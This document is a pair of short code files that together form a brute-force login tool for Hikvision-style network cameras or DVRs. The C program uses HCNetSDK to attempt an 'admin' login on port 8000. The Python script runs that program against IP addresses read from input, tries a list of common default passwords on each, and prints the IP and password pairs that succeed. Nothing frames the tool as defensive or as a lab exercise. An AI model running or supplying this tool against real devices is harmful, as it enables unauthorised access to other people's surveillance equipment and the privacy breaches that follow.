#include "../include/HCNetSDK.h"

int main(int argc, char **argv) {
  NET_DVR_Init();

  NET_DVR_DEVICEINFO_V30 struDeviceInfo;
  int loginCheck = NET_DVR_Login_V30(argv[1], 8000, "admin", argv[2], &struDeviceInfo);

  if (loginCheck < 0) {
    return 1;
  } else {
    return 0;
  }
}

------

import subprocess, sys

password_list = ["12345", "1234", "123456", "admin", "password", "123", "1", "qwerty"]

for ip in sys.stdin.readlines():
    ip = ip.strip()
    for psw in password_list:
        if subprocess.call(["./logintest", ip, psw]) == 0:
            print(ip + " " + psw)
            break